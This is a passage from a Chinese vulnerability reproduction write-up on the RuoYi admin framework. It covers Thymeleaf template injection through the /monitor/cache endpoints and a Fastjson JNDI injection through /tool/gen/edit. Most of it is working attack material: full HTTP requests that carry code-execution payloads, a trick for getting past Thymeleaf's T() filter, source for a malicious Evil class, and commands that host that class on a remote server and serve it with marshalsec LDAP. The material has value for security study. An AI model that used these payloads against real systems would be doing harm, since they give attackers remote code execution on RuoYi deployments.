ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java
由于 RuoYi 使用的是 thymeleaf 视图渲染组件,因此可进行 SSTI 模板注入。
其中可注入的接口包括:
/getNames/getKeys/getValue/localrefresh/task接口满足条件。
漏洞复现
接口 /monitor/cache/getName,构包(该接口需要有效 cookie)。
构建 fragment 参数 payload,由于系统未对 fragment 参数做任何处理就进行返回,因此我们可以直接插入 thymeleaf 表达式,使用 ${} 注入执行表达式,T() 访问 java 类和静态访问。
构建 payload:
scss
${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
由于 thymeleaf 高版本对 T() 进行了一些限制,不过可通过在 T 和 ( 之间增加空格的办法进行绕过:
scss
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
攻击接口
接口 /monitor/cache/getNames
http
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
接口 /monitor/cache/getKeys
http
POST /monitor/cache/getKeys HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
接口 /monitor/cache/getValue
http
POST /monitor/cache/getValue HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
在 RuoYi-4.7.2 版本中,使用了 thymeleaf 版本 3.0.14.RELEASE 已无法再进行注入。
漏洞十:Fastjson组件漏洞
漏洞利用
点击系统工具 --> 代码生成 --> 导入 --> 用户和角色关联表
点击修改,模版选择数表,其余的都选择用户ID,点击保存。
点击保存抓包,将漏洞测试 POC 进行填写:
http
POST /tool/gen/edit HTTP/1.1
params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory¶ms%5BresourceName%5D=ldap://vps---ip/Evil
恶意类的创建
新建项目,构建系统选择 Maven,新建 java 类,类的名称为 Evil。
Evil 里面的内容:
java
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
运行完成后,复制编译好的 Evil.class。
将构建恶意类放在远程的 vps,运行 web 服务器:
bash
python -m http.server 80
JNDI 加载恶意类:
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.241.10:80/#Evil 6666